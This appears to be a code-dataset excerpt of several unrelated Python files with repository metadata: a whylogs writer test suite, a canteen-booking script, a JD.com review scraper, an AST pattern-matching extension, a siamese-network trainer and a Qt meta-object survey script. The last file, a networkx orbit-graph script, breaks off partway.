TestWhylabsWriter(object):\n @classmethod\n def setup_class(cls) -> None:\n os.environ[\"WHYLABS_API_KEY\"] = _api_key\n os.environ[\"WHYLABS_DEFAULT_ORG_ID\"] = \"org-1\"\n os.environ[\"WHYLABS_DEFAULT_DATASET_ID\"] = \"model-5\"\n os.environ[\"WHYLABS_API_ENDPOINT\"] = \"https://api.whylabsapp.com\"\n os.environ[\"WHYLABS_V1_ENABLED\"] = \"True\"\n os.environ[EnvVariableName.WHYLOGS_CONFIG_PATH.value] = f\"/tmp/test_why_{_random_str(5)}.ini\"\n\n @classmethod\n def teardown_class(cls) -> None:\n del os.environ[\"WHYLABS_API_KEY\"]\n del os.environ[\"WHYLABS_DEFAULT_ORG_ID\"]\n del os.environ[\"WHYLABS_DEFAULT_DATASET_ID\"]\n del os.environ[\"WHYLABS_API_ENDPOINT\"]\n del os.environ[\"WHYLABS_V1_ENABLED\"]\n del os.environ[EnvVariableName.WHYLOGS_CONFIG_PATH.value]\n\n def setup_method(self) -> None:\n init()\n\n def teardown_method(self) -> None:\n WhylabsClientCache.reset()\n SessionManager.reset()\n\n @pytest.fixture\n def results(self, pandas_dataframe):\n return why.log(pandas=pandas_dataframe)\n\n @pytest.fixture\n def segmented_result(self, pandas_dataframe):\n segment_column = \"animal\"\n segmented_schema = DatasetSchema(segments=segment_on_column(segment_column))\n return why.log(pandas=pandas_dataframe, schema=segmented_schema)\n\n @pytest.mark.skip(\"Skip for now. Will need more mocking\")\n def test_upload_request(self, results):\n self.responses = responses.RequestsMock()\n self.responses.start()\n\n self.responses.add(PUT, url=\"https://api.whylabsapp.com\", body=results.view().to_pandas().to_json())\n profile = results.view()\n\n writer = WhyLabsWriter()\n # reproducing what the write method does, without explicitly calling it\n # so it's possible to inject the upload_url\n with tempfile.NamedTemporaryFile() as tmp_file:\n profile.write(path=tmp_file.name)\n tmp_file.flush()\n\n dataset_timestamp = profile.dataset_timestamp or datetime.datetime.now(datetime.timezone.utc)\n dataset_timestamp = int(dataset_timestamp.timestamp() * 1000)\n response = writer._do_upload(dataset_timestamp=dataset_timestamp, profile_path=tmp_file.name)\n assert response[0] is True\n\n @pytest.mark.skip(\"Skip for now. Will need more mocking\")\n def test_upload_reference_request(self, results):\n self.responses = responses.RequestsMock()\n self.responses.start()\n\n self.responses.add(PUT, url=\"https://api.whylabsapp.com\", body=results.view().to_pandas().to_json())\n profile = results.view()\n\n writer = WhyLabsWriter()\n # reproducing what the write method does, without explicitly calling it\n # so it's possible to inject the upload_url\n with tempfile.NamedTemporaryFile() as tmp_file:\n profile.write(path=tmp_file.name)\n tmp_file.flush()\n\n dataset_timestamp = profile.dataset_timestamp or datetime.datetime.now(datetime.timezone.utc)\n dataset_timestamp = int(dataset_timestamp.timestamp() * 1000)\n response = writer._do_upload(\n dataset_timestamp=dataset_timestamp,\n profile_path=tmp_file.name,\n reference_profile_name=\"RefProfileAlias\",\n )\n assert response[0] is True\n\n @pytest.mark.skip(\"Skip for now. Will need less mocking\")\n def test_upload_segmented_reference_request(self, segmented_result):\n writer = WhyLabsWriter().option(reference_profile_name=\"RefProfileAlias\")\n writer.write = MagicMock(return_value=(True, \"RefProfileAlias\"))\n result = writer.write(segmented_result)\n\n writer.write.assert_called_with(segmented_result)\n assert isinstance(segmented_result, SegmentedResultSet)\n assert result == (True, \"RefProfileAlias\")\n\n @pytest.mark.skip(\"Skip for now. Will need less mocking\")\n def test_segmented_result_writer(self, segmented_result):\n segmented_result_writer = segmented_result.writer(\"whylabs\").option(reference_profile_name=\"RefProfileAlias\")\n segmented_result_writer.write = MagicMock(return_value=(True, \"RefProfileAlias\"))\n result = segmented_result_writer.write()\n assert isinstance(segmented_result, SegmentedResultSet)\n assert result == (True, \"RefProfileAlias\")\n\n @pytest.mark.skip(\"Skip for now. Probably need more mocking\")\n def test_api_key_null_raises_error(self, results, caplog):\n caplog.set_level(logging.ERROR)\n with pytest.raises(ValueError):\n del os.environ[\"WHYLABS_API_KEY\"]\n writer: WhyLabsWriter = Writers.get(\"whylabs\")\n writer.write(file=results.profile())\n os.environ[\"WHYLABS_API_KEY\"] = \"01234567890.any\"\n\n @pytest.mark.skip(\"Skip for now. Will need less mocking\")\n def test_put_feature_weight(self):\n weights = {\n \"col1\": 0.7,\n \"col2\": 0.3,\n \"col3\": 0.01,\n }\n\n feature_weights = FeatureWeights(weights)\n writer = WhyLabsWriter()\n writer.write = MagicMock(return_value=(True, \"200\"))\n result = writer.write(feature_weights)\n\n writer.write.assert_called_with(feature_weights)\n assert result == (True, \"200\")\n\n @pytest.mark.skip(\"Skip for now. Will need less mocking\")\n def test_put_feature_weight_writer(self):\n weights = {\n \"col1\": 0.7,\n \"col2\": 0.3,\n \"col3\": 0.01,\n }\n\n feature_weights = FeatureWeights(weights)\n feature_weights_writer = feature_weights.writer(\"whylabs\")\n feature_weights_writer.write = MagicMock(return_value=(True, \"200\"))\n result = feature_weights_writer.write()\n assert result == (True, \"200\")\n\n @pytest.mark.skip(\"Skip for now. Will need less mocking\")\n def test_get_feature_weight(self):\n writer = WhyLabsWriter()\n get_result = FeatureWeights(\n weights={\"col1\": 0.7, \"col2\": 0.3, \"col3\": 0.01},\n metadata={\"version\": 13, \"updatedTimestamp\": 1663620626701, \"author\": \"system\"},\n )\n\n writer.get_feature_weights = MagicMock(return_value=get_result)\n result = writer.get_feature_weights()\n assert result == get_result\n assert isinstance(result, FeatureWeights)\n\n @pytest.mark.skip(\"Skip for now. Will need less mocking\")\n def test_flag_column_as_custom_performance_metric(self):\n writer = WhyLabsWriter()\n column_name = \"col_name\"\n label = \"customMetric\"\n default_metric = \"mean\"\n flag_result = (True, \"{'request_id': '0dfe61f9-36c4-46b0-b176-a62f4f3c85e0'}\")\n writer.tag_custom_performance_column = MagicMock(return_value=flag_result)\n result = writer.tag_custom_performance_column(column=column_name, label=label, default_metric=default_metric)\n assert result == flag_result\n\n def test_option_will_overwrite_defaults(self) -> None:\n writer = WhyLabsWriter()\n writer.option(\n org_id=\"new_org_id\",\n dataset_id=\"new_dataset_id\",\n api_key=\"newkeynewk.aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",\n )\n assert writer._org_id == \"new_org_id\"\n assert writer._dataset_id == \"new_dataset_id\"\n assert writer.key_id == \"newkeynewk\"\n\n def test_api_key_prefers_parameter_over_env_var(self, results, caplog):\n with pytest.raises(ValueError):\n results.writer(\"whylabs\").option(org_id=\"org_id\", api_key=\"api_key_123.foo\").write(dataset_id=\"dataset_id\")\n\n def test_writer_accepts_dest_param(self, results, caplog):\n # TODO: inspect error or mock better to avoid network call and keep test focused.\n with pytest.raises(ValueError):\n results.writer(\"whylabs\").option(api_key=\"bad_key_format\").write(dataset_id=\"dataset_id\", dest=\"tmp\")\n\n def test_write_response(self, results):\n with pytest.raises(ValueError):\n response = (\n results.writer(\"whylabs\").option(api_key=\"bad_key_format\").write(dataset_id=\"dataset_id\", dest=\"tmp\")\n )\n assert response[0] is True\n\n def test_changing_api_key_works(self) -> None:\n #\n # Defaults\n #\n writer = WhyLabsWriter() # Using test level default api key via the session\n assert writer.key_id == _api_key.split(\".\")[0]\n cache_api_key_ids = [it.api_key for it in WhylabsClientCache.instance()._api_client_cache.keys()]\n assert cache_api_key_ids == [_api_key]\n\n #\n # Change 1\n #\n key2 = \"2222222222.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\"\n writer.option(api_key=key2)\n assert writer.key_id == key2.split(\".\")[0]\n cache_api_key_ids = [it.api_key for it in WhylabsClientCache.instance()._api_client_cache.keys()]\n assert cache_api_key_ids == [_api_key, key2]\n\n #\n # Change to original\n #\n writer.option(api_key=_api_key)\n assert writer.key_id == _api_key.split(\".\")[0]\n cache_api_key_ids = [it.api_key for it in WhylabsClientCache.instance()._api_client_cache.keys()]\n assert cache_api_key_ids == [_api_key, key2]\n\n def test_custom_client(self) -> None:\n client = MagicMock()\n writer = WhyLabsWriter(api_client=client)\n\n # It really can't make any sense. It still uses an EnvKeyRefresher when someone gives it an custom client so\n # the key won't actually match w/e the client is using, but this is the way it currently behaves. It can't\n # make sense until we refactor how the client is used.\n with pytest.raises(AttributeError):\n # Fails because the key refresher wouldn't have been called yet presumably, and the key id won't be\n # cached, but even if it was it wouldn't be the right key id because it was never set on the client.\n writer.key_id\n\n assert len(WhylabsClientCache.instance()._api_client_cache) == 0\n","repo_name":"whylabs/whylogs","sub_path":"python/tests/api/writer/test_whylabs.py","file_name":"test_whylabs.py","file_ext":"py","file_size_in_byte":16049,"program_lang":"python","lang":"en","doc_type":"code","stars":2401,"dataset":"github-code","pt":"69"} +{"seq_id":"4185690137","text":"from pyristocloud import pyRc\n\n# Prenota il posto all'orario indicato se disponibile\n\nrc = pyRc.Api()\nlogged = rc.login(\"nome.cognome@studenti.unitn.it\", \"pass\")\n\nif logged:\n print(\"Login effettuato!\")\nelse:\n print(\"Errore login.\")\n exit()\n\ngiorno_inizio_settimana = 3\nmese = \"12\"\nanno = \"2022\"\nmensa = \"mensa_povo0\"\norario_inizio = \"13:15\"\n\n# Itero una settimana\nfor giorno in range(giorno_inizio_settimana, giorno_inizio_settimana + 7):\n data = \"/\".join([str(giorno), mese, anno])\n for orario in rc.get_orari_prenotati(mensa, data):\n # Prenoto solo se è l'orario giusto\n if orario[\"orario_inizio\"] != orario_inizio:\n continue\n\n if orario[\"isBookale\"]:\n if rc.salva_prenotazione(mensa, data, orario[\"id\"]):\n print(\n \"Ho prenotato un posto per le:\",\n orario[\"orario_inizio\"],\n data,\n mensa,\n )\n break\n else:\n print(\n \"Errore nella prenotazione di:\",\n orario[\"orario_inizio\"],\n data,\n mensa,\n )\n else:\n print(\"Non è possibile prenotare:\", orario[\"orario_inizio\"], data, mensa)\n","repo_name":"riklus/PyRistoCloud","sub_path":"examples/tutta_settimana.py","file_name":"tutta_settimana.py","file_ext":"py","file_size_in_byte":1292,"program_lang":"python","lang":"it","doc_type":"code","stars":3,"dataset":"github-code","pt":"69"} +{"seq_id":"3626229321","text":"import random\nimport requests\nimport json\nimport re\nimport time\nimport xlwt\nimport jieba\n\ndef remove(words):\n #停用词\n stopword = [',', '.', '!', '*', '~', '(', ')', '。', ',', '!', ':', ':', \"'\", ' ', '`', '?', '@']\n final = ''\n for w in words:\n if w not in stopword:\n final += w\n return final\n\ndef writeExcel(workbook, worksheet, x, y, data):\n # 往表格写入内容\n worksheet.write(x, y, data)\n # 保存\n workbook.save(\"jd.xls\")\n\n\n\ndef main():\n # 创建新的workbook(其实就是创建新的excel)\n workbook = xlwt.Workbook(encoding='ascii')\n # 创建新的sheet表\n worksheet = workbook.add_sheet(\"data\")\n\n for page in range(0, 10):\n header = {\n 'refer': 'https://item.jd.com/',\n 'cookie': '',\n 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.50'\n }\n\n productId = '4044691'\n\n parm = {\n 'callback': 'fetchJSON_comment98',\n 'productId': productId,\n 'score': '0',\n 'sortType': '5',\n 'page': page,\n 'pageSize': '10',\n 'isShadowSku': '0',\n 'fold': '1'\n }\n url = 'https://club.jd.com/comment/productPageComments.action'\n res = requests.get(url, params=parm, headers=header)\n\n print('第%d页正在爬取' % (page + 1))\n\n # 爬取完成后,需要对页面进行编码,不影响后期的数据提取和数据清洗工作。\n # 使用正则对数据进行提取,返回字符串。\n # 字符串转换为json格式数据。\n res.encoding = 'gb18030'\n html = res.text\n data = re.findall('fetchJSON_comment98\\((.*?)\\);', html)\n data = json.loads(data[0]) # 将处理的数据进行解析\n comments = data['comments']\n\n for index, comment in enumerate(comments):\n score = comment['score']\n creationTime = comment['creationTime']\n content = comment['content']\n \n #将商品评分、评价时间、评价内容写入 excel 中\n writeExcel(workbook, worksheet, page * 10 + index, 0, score)\n writeExcel(workbook, worksheet, page * 10 + index, 1, creationTime)\n writeExcel(workbook, worksheet, page * 10 + index, 2, content)\n \n print(content)\n\n content2 = remove(content)\n\n #利用 jieba 进行分词\n words = jieba.cut(content2, cut_all=False)\n\n #将分词内容写入 excel 中\n for index2, word in enumerate(words):\n writeExcel(workbook, worksheet, page * 10 + index, index2 + 3, str(word))\n\n # 程序休眠\n time.sleep(random.randint(10, 20) * 0.1)\n\n print(\"爬取完毕\")\n\n\nif __name__ == '__main__':\n main()\n\n\n","repo_name":"huihui-lx/jdComments","sub_path":"jdComments.py","file_name":"jdComments.py","file_ext":"py","file_size_in_byte":2911,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"9386894033","text":"from io import StringIO\nfrom moshmosh.ast_compat import ast\nfrom moshmosh.ast_compat import ConsistentConstant\nfrom moshmosh.extensions.pattern_matching.core import *\nfrom moshmosh.extension import Extension, Activation\nfrom moshmosh.extensions.pattern_matching.runtime import NotExhaustive\nfrom moshmosh.ctx_fix import ExprContextFixer\n\n\nclass SyntacticPatternBinding:\n def __init__(self, case_comp: CaseCompilation):\n self.case_comp = case_comp\n\n def visit_Name(self, n: ast.Name):\n if n.id == \"_\":\n return self.case_comp.wildcard()\n return self.case_comp.capture(Symbol(n.id, n.lineno, n.col_offset))\n\n def visit_Call(self, n: ast.Call):\n if n.keywords:\n raise NotImplementedError(n)\n\n if isinstance(n.func, ast.Name):\n if n.func.id == 'pin' and len(\n n.args) == 1:\n return self.case_comp.pin(Expr(n.args[0]))\n\n if n.func.id == 'isinstance':\n if len(n.args) == 1:\n expr = Expr(n.args[0])\n else:\n expr = Expr(ast.Tuple(n.args, ast.Load()))\n return self.case_comp.instance_of(expr)\n if n.func.id == 'when':\n if len(n.args) == 1:\n expr = Expr(n.args[0])\n else:\n expr = Expr(ast.BoolOp(op=ast.And(), values=n.args))\n return self.case_comp.guard(expr)\n\n return self.case_comp.recog2(\n Expr(n.func), [self.visit(elt) for elt in n.args])\n\n def visit_BoolOp(self, n: ast.BoolOp):\n\n if isinstance(n.op, ast.And):\n cases = list(map(self.visit, n.values))\n return self.case_comp.intersect(cases)\n if isinstance(n.op, ast.Or):\n cases = list(map(self.visit, n.values))\n return self.case_comp.alternative(cases)\n\n raise NotImplementedError(n)\n\n def _visit_seq(self, type, n):\n def find_star(elts):\n for i, elt in enumerate(elts):\n if isinstance(elt, ast.Starred):\n return i\n return -1\n star_idx = find_star(n.elts)\n if star_idx is -1:\n elts = list(map(self.visit, n.elts))\n return self.case_comp.seq_n(type, elts)\n\n ast_elts = n.elts\n elts1 = list(map(self.visit, ast_elts[:star_idx]))\n star = self.visit(ast_elts[star_idx].value)\n elts2 = list(map(self.visit, ast_elts[star_idx+1:]))\n return self.case_comp.seq_m_star_n(type, elts1, star, elts2)\n\n\n def visit_Tuple(self, n: ast.Tuple):\n return self._visit_seq(tuple, n)\n\n def visit_List(self, n: ast.List):\n return self._visit_seq(list, n)\n\n def visit(self, node):\n \"\"\"Visit a node.\"\"\"\n if isinstance(node, ConsistentConstant):\n return self.case_comp.literal(node)\n method = 'visit_' + node.__class__.__name__\n visitor = getattr(self, method, None)\n if visitor is None:\n raise TypeError(node)\n return visitor(node)\n\n\nclass GenMatch(ast.NodeTransformer):\n def __init__(self, token: str, activation):\n self.token = token\n self.activation = activation\n\n def id_gen():\n i = 0\n while True:\n yield \"PM%d.%d\" % (id(self.activation), i)\n i += 1\n\n self.local_id_generator = id_gen()\n\n @property\n def next_id(self):\n return next(self.local_id_generator)\n\n def visit_With(self, node: ast.With):\n if node.lineno not in self.activation:\n return self.generic_visit(node)\n\n if not len(node.items):\n return self.generic_visit(node)\n\n item = node.items[0].context_expr\n if not isinstance(item, ast.Call):\n return self.generic_visit(node)\n\n fn = item.func\n if not isinstance(fn, ast.Name) or fn.id != self.token:\n return self.generic_visit(node)\n\n assert not item.keywords\n\n assert all(isinstance(stmt, ast.If) for stmt in node.body)\n\n if len(item.args) is not 1:\n val_to_match = ast.Tuple(item.args, ast.Load())\n else:\n val_to_match = item.args[0]\n\n cached = Symbol(self.next_id, node.lineno, node.col_offset).to_name()\n\n ifs = node.body # type: t.List[ast.If]\n for if_ in ifs:\n assert not if_.orelse\n\n case_comp = CaseCompilation()\n spb = SyntacticPatternBinding(case_comp)\n\n pairs = []\n for if_ in ifs:\n case = spb.visit(if_.test)\n stmts = Stmts([self.visit(each) for each in if_.body])\n pairs.append((case, stmts))\n\n res = case_comp.match(pairs)(Expr(cached))\n suite = res.suite\n suite.reverse()\n suite.append(ast.Assign([cached], val_to_match))\n suite.reverse()\n return suite\n\nclass PatternMatching(Extension):\n identifier = 'pattern-matching'\n\n def pre_rewrite_src(self, io: StringIO):\n io.write('from {} import {}\\n'.format(__name__,\n NotExhaustive.__name__))\n\n def rewrite_ast(self, node: ast.AST):\n node = GenMatch(self.token, self.activation).visit(node)\n ExprContextFixer().visit(node)\n return node\n\n def __init__(self, token='match'):\n self.token = token\n","repo_name":"thautwarm/moshmosh","sub_path":"moshmosh/extensions/pattern_matching/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5357,"program_lang":"python","lang":"en","doc_type":"code","stars":109,"dataset":"github-code","pt":"69"} +{"seq_id":"10370113117","text":"import matplotlib.pyplot as plt\nimport numpy as np\nimport os\nimport random\nimport tensorflow as tf\nfrom pathlib import Path\nfrom datetime import datetime\nimport argparse\nfrom tensorflow.keras import applications\nfrom tensorflow.keras import layers\nfrom tensorflow.keras import losses\nfrom tensorflow.keras import optimizers\nfrom tensorflow.keras import metrics\nfrom tensorflow.keras import Model\nfrom tensorflow.keras.applications import resnet\n\n\ndef preprocess_image(filename, target_shape=(200, 200)):\n \"\"\"\n Load the specified file as a JPEG image, preprocess it and\n resize it to the target shape.\n \"\"\"\n\n image_string = tf.io.read_file(filename)\n image = tf.image.decode_jpeg(image_string, channels=3)\n image = tf.image.convert_image_dtype(image, tf.float32)\n image = tf.image.resize(image, target_shape)\n return image\n\n\ndef preprocess_triplets(anchor, positive, negative):\n \"\"\"\n Given the filenames corresponding to the three images, load and\n preprocess them.\n \"\"\"\n\n return (\n preprocess_image(anchor),\n preprocess_image(positive),\n preprocess_image(negative),\n )\n\n\nclass DistanceLayer(layers.Layer):\n \"\"\"\n This layer is responsible for computing the distance between the anchor\n embedding and the positive embedding, and the anchor embedding and the\n negative embedding.\n \"\"\"\n\n def __init__(self, **kwargs):\n super().__init__(**kwargs)\n\n def call(self, anchor, positive, negative):\n ap_distance = tf.reduce_sum(tf.square(anchor - positive), -1)\n an_distance = tf.reduce_sum(tf.square(anchor - negative), -1)\n return (ap_distance, an_distance)\n\n\nclass SiameseModel(Model):\n \"\"\"The Siamese Network model with a custom training and testing loops.\n\n Computes the triplet loss using the three embeddings produced by the\n Siamese Network.\n\n The triplet loss is defined as:\n L(A, P, N) = max(‖f(A) - f(P)‖² - ‖f(A) - f(N)‖² + margin, 0)\n \"\"\"\n\n def __init__(self, siamese_network, margin=0.5):\n super(SiameseModel, self).__init__()\n self.siamese_network = siamese_network\n self.margin = margin\n self.loss_tracker = metrics.Mean(name=\"loss\")\n\n def call(self, inputs):\n return self.siamese_network(inputs)\n\n def train_step(self, data):\n # GradientTape is a context manager that records every operation that\n # you do inside. We are using it here to compute the loss so we can get\n # the gradients and apply them using the optimizer specified in\n # `compile()`.\n with tf.GradientTape() as tape:\n loss = self._compute_loss(data)\n\n # Storing the gradients of the loss function with respect to the\n # weights/parameters.\n gradients = tape.gradient(loss, self.siamese_network.trainable_weights)\n\n # Applying the gradients on the model using the specified optimizer\n self.optimizer.apply_gradients(\n zip(gradients, self.siamese_network.trainable_weights)\n )\n\n # Let's update and return the training loss metric.\n self.loss_tracker.update_state(loss)\n return {\"loss\": self.loss_tracker.result()}\n\n def test_step(self, data):\n loss = self._compute_loss(data)\n\n # Let's update and return the loss metric.\n self.loss_tracker.update_state(loss)\n return {\"loss\": self.loss_tracker.result()}\n\n def _compute_loss(self, data):\n # The output of the network is a tuple containing the distances\n # between the anchor and the positive example, and the anchor and\n # the negative example.\n ap_distance, an_distance = self.siamese_network(data)\n\n # Computing the Triplet Loss by subtracting both distances and\n # making sure we don't get a negative value.\n loss = ap_distance - an_distance\n loss = tf.maximum(loss + self.margin, 0.0)\n return loss\n\n @property\n def metrics(self):\n # We need to list our metrics here so the `reset_states()` can be\n # called automatically.\n return [self.loss_tracker]\n\n\ndef main():\n # Check if running on GPU\n device_name = tf.test.gpu_device_name()\n if device_name != '/device:GPU:0':\n print('GPU device not found')\n else:\n print('Found GPU at: {}'.format(device_name))\n\n # Create model\n # This is done both for train and test because I found problems in loading after saving it\n target_shape = (200, 200)\n\n base_cnn = resnet.ResNet50(\n weights=\"imagenet\", input_shape=target_shape + (3,), include_top=False\n )\n\n flatten = layers.Flatten()(base_cnn.output)\n dense1 = layers.Dense(512, activation=\"relu\")(flatten)\n dense1 = layers.BatchNormalization()(dense1)\n dense2 = layers.Dense(256, activation=\"relu\")(dense1)\n dense2 = layers.BatchNormalization()(dense2)\n output = layers.Dense(256)(dense2)\n\n embedding = Model(base_cnn.input, output, name=\"Embedding\")\n\n trainable = False\n for layer in base_cnn.layers:\n if layer.name == \"conv5_block1_out\":\n trainable = True\n layer.trainable = trainable\n\n anchor_input = layers.Input(name=\"anchor\", shape=target_shape + (3,))\n positive_input = layers.Input(name=\"positive\", shape=target_shape + (3,))\n negative_input = layers.Input(name=\"negative\", shape=target_shape + (3,))\n\n distances = DistanceLayer()(\n embedding(resnet.preprocess_input(anchor_input)),\n embedding(resnet.preprocess_input(positive_input)),\n embedding(resnet.preprocess_input(negative_input)),\n )\n\n siamese_network = Model(\n inputs=[anchor_input, positive_input, negative_input], outputs=distances\n )\n \n siamese_model = SiameseModel(siamese_network)\n siamese_model.compile(optimizer=optimizers.Adam(0.0001))\n \n checkpoint_dir = \"checkpoints/\"\n \n print(\"Training...\")\n train = np.loadtxt(\"handout/train_triplets.txt\", dtype=str, delimiter=\" \")\n \n anchor_images = [f\"handout/food/{number}.jpg\" for number in list(train[:, 0])]\n positive_images = [f\"handout/food/{number}.jpg\" for number in list(train[:, 1])]\n negative_images = [f\"handout/food/{number}.jpg\" for number in list(train[:, 2])]\n\n image_count = len(anchor_images)\n\n anchor_dataset = tf.data.Dataset.from_tensor_slices(anchor_images)\n positive_dataset = tf.data.Dataset.from_tensor_slices(positive_images)\n negative_dataset = tf.data.Dataset.from_tensor_slices(negative_images)\n\n dataset = tf.data.Dataset.zip((anchor_dataset, positive_dataset, negative_dataset))\n dataset = dataset.shuffle(buffer_size=1024)\n dataset = dataset.map(preprocess_triplets)\n\n # Let's now split our dataset in train and validation.\n train_dataset = dataset.take(round(image_count * 0.8))\n val_dataset = dataset.skip(round(image_count * 0.8))\n\n train_dataset = train_dataset.batch(32, drop_remainder=False)\n train_dataset = train_dataset.prefetch(8)\n\n val_dataset = val_dataset.batch(32, drop_remainder=False)\n val_dataset = val_dataset.prefetch(8)\n\n model_checkpoint_callback = tf.keras.callbacks.ModelCheckpoint(\n filepath=checkpoint_dir+\"weights.{epoch:02d}-{val_loss:.2f}.hdf5\",\n save_weights_only=True,\n monitor=\"val_loss\",\n mode=\"min\",\n save_best_only=True,\n )\n\n history = siamese_model.fit(train_dataset, epochs=10, validation_data=val_dataset, callbacks=[model_checkpoint_callback])\n \n print(\"Testing...\")\n\n test = np.loadtxt(\"handout/test_triplets.txt\", dtype=str, delimiter=\" \")\n test_anchor_images = [f\"handout/food/{number}.jpg\" for number in list(test[:, 0])]\n test_positive_images = [f\"handout/food/{number}.jpg\" for number in list(test[:, 1])]\n test_negative_images = [f\"handout/food/{number}.jpg\" for number in list(test[:, 2])]\n \n test_anchor_dataset = tf.data.Dataset.from_tensor_slices(test_anchor_images)\n test_positive_dataset = tf.data.Dataset.from_tensor_slices(test_positive_images)\n test_negative_dataset = tf.data.Dataset.from_tensor_slices(test_negative_images)\n\n test_anchor_dataset = test_anchor_dataset.map(preprocess_image)\n test_positive_dataset = test_positive_dataset.map(preprocess_image)\n test_negative_dataset = test_negative_dataset.map(preprocess_image)\n\n print(\"Now predicting...\")\n predictions = siamese_model.predict([\n np.array(list(test_anchor_dataset.as_numpy_iterator())), \n np.array(list(test_positive_dataset.as_numpy_iterator())), \n np.array(list(test_negative_dataset.as_numpy_iterator()))\n ])\n\n booleans = predictions[0] < predictions[1]\n result = booleans.astype(int)\n\n model_extension = datetime.today().strftime(\"%Y%m%d-%H%M%S\")\n prediction_path = \"predictions/prediction_{}.txt\".format(model_extension)\n\n with open(prediction_path, \"w\") as f:\n for i in result:\n f.write(str(i) + \"\\n\")\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"maxgalli/ML-course-22","sub_path":"task3/siamese.py","file_name":"siamese.py","file_ext":"py","file_size_in_byte":8942,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"12880445329","text":"# -*- coding: utf-8 -*-\n\"\"\"\nmetamethod get all the paramter method\n\"\"\"\n\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import absolute_import\n\n__author__ = \"timmyliang\"\n__email__ = \"820472580@qq.com\"\n__date__ = \"2020-11-08 16:05:07\"\n\nimport os\nimport sys\n\nrepo = (lambda f: lambda p=__file__: f(f, p))(\n lambda f, p: p\n if [\n d\n for d in os.listdir(p if os.path.isdir(p) else os.path.dirname(p))\n if d == \".github\"\n ]\n else None\n if os.path.dirname(p) == p\n else f(f, os.path.dirname(p))\n)()\nsys.path.insert(0, repo) if repo not in sys.path else None\n\n# os.environ[\"QT_PREFERRED_BINDING\"] = \"PyQt4;PyQt5;PySide;PySide2\"\n# os.environ['QT_PREFERRED_BINDING'] = 'PySide;PySide2'\n\nimport inspect\n\nimport QBinder\n\n# from QBinder import Binder, GBinder, QEventHook\nimport Qt\n\nprint(Qt.__binding__)\nfrom Qt import QtGui, QtWidgets, QtCore\nfrom Qt.QtCompat import loadUi\n\n# meta_obj = QtWidgets.QWidget.staticMetaObject\nfrom collections import defaultdict\nimport json\n\nnested_dict = lambda: defaultdict(nested_dict)\n\nHOOKS = nested_dict()\n_HOOKS_REL = nested_dict()\nmethod_dict = nested_dict()\nmethod_comp = defaultdict(list)\nqt_dict = {\"QtWidgets.%s\" % n: m for n, m in inspect.getmembers(QtWidgets)}\nqt_dict.update({\"QtCore.%s\" % n: m for n, m in inspect.getmembers(QtCore)})\nqt_dict.update({\"QtGui.%s\" % n: m for n, m in inspect.getmembers(QtGui)})\n\n\ndef byte2str(text):\n # NOTE compat python 2 and 3\n return str(text, encoding=\"utf-8\") if sys.hexversion >= 0x3000000 else str(text)\n\n\ndef get_method_name(method):\n # NOTE compat Qt 4 and 5\n version = QtCore.qVersion()\n name = \"\"\n count = False\n if version.startswith(\"5\"):\n name = method.name()\n count = method.parameterCount()\n elif version.startswith(\"4\"):\n name = method.signature()\n name = name.split(\"(\")[0]\n count = method.parameterNames()\n return byte2str(name), count\n\n\n# meta_obj = QtWidgets.QLineEdit.staticMetaObject\n# for i in range(meta_obj.propertyCount()):\n# property = meta_obj.property(i)\n# property_name = property.name()\n# print(property_name)\n# for i in range(meta_obj.methodCount()):\n# method = meta_obj.method(i)\n# method_name,count = get_method_name(method)\n# print(method_name)\n\n\n# for name,member in qt_dict.items():\n# for method_name,method in inspect.getmembers(member,inspect.isroutine):\n# if type(method).__name__ == 'method_descriptor':\n# HOOKS[name][method_name] = type(method).__name__\n\n\nfor name, member in qt_dict.items():\n\n if name == \"QtGui.QMatrix\" or not hasattr(member, \"staticMetaObject\"):\n continue\n meta_obj = getattr(member, \"staticMetaObject\")\n\n for i in range(meta_obj.methodCount()):\n method = meta_obj.method(i)\n method_name, count = get_method_name(method)\n if (\n count\n and method.methodType() != QtCore.QMetaMethod.Signal\n and hasattr(member, method_name)\n ):\n HOOKS[name][method_name] = {}\n _HOOKS_REL[name][method_name.lower()] = method_name\n\n for i in range(meta_obj.propertyCount()):\n property = meta_obj.property(i)\n if not property.hasNotifySignal():\n continue\n property_name = property.name()\n method_name = _HOOKS_REL[name].get(\"set%s\" % property_name.lower())\n data = HOOKS[name].get(method_name)\n if isinstance(data, dict):\n updater, _ = get_method_name(property.notifySignal())\n if updater:\n data.update({\"updater\": updater, \"property\": property_name})\n\n\npath = \"%s.json\" % os.path.splitext(__file__)[0]\n# print(len(HOOKS[\"QtWidgets.QLineEdit\"]))\n\n# with open(path,'r') as f:\n# data = json.load(f,encoding='utf-8')\n# for d in data[\"QtWidgets.QLineEdit\"]:\n# print(HOOKS[\"QtWidgets.QLineEdit\"].get(d))\n# if not HOOKS[\"QtWidgets.QLineEdit\"].get(d):\n# print(d)\n\nwith open(path, \"w\") as f:\n json.dump(HOOKS, f, indent=4, ensure_ascii=False)\n","repo_name":"FXTD-ODYSSEY/QBinder","sub_path":"research/test_qt_meta.py","file_name":"test_qt_meta.py","file_ext":"py","file_size_in_byte":4046,"program_lang":"python","lang":"en","doc_type":"code","stars":32,"dataset":"github-code","pt":"69"} +{"seq_id":"26078419301","text":"#!/usr/bin/python3\n\nimport pdb\nimport networkx as nx\nimport matplotlib.pyplot as plt\n\n\ndef read_graphdata(filei):\n with open(filei) as f:\n return [tuple(x.strip().split(')')) for x in f]\n\n\nif __name__ == \"__main__\":\n in_graph = read_graphdata('input.txt')\n # in_graph = read_graphdata('example.txt')\n G = nx.DiGraph()\n G.add_edges_from(in_graph)\n # nx.draw(G)\n # plt.savefig('G.png')\n print(nx.transitive_closure(G).size())\n print((nx.shortest_path_length(G.to_undirected(), \"YOU\", 